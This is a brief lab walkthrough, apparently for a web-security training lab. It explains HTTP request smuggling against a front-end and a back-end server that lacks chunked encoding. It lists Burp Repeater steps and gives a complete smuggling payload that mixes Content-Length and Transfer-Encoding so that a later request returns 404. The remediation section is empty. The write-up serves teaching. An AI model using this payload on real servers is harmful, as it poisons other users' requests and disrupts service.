**SCENARIO**

This application involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. We will try to smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

**PROCEDURE**

1. Open the web application and send the GET request for homepage to BurpSuite’s Repeater.
2. Now right click on the request and click **Change Request Method** to change the request to **POST** as we can not send body for **GET** requests.
3. Inject the payload in the Repeater tab and send the request twice, we see that the second response contains 404 not found.

**PAYLOAD**

POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-length: 4

Transfer-Encoding: chunked

5e

POST /404 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

**REMEDIATION**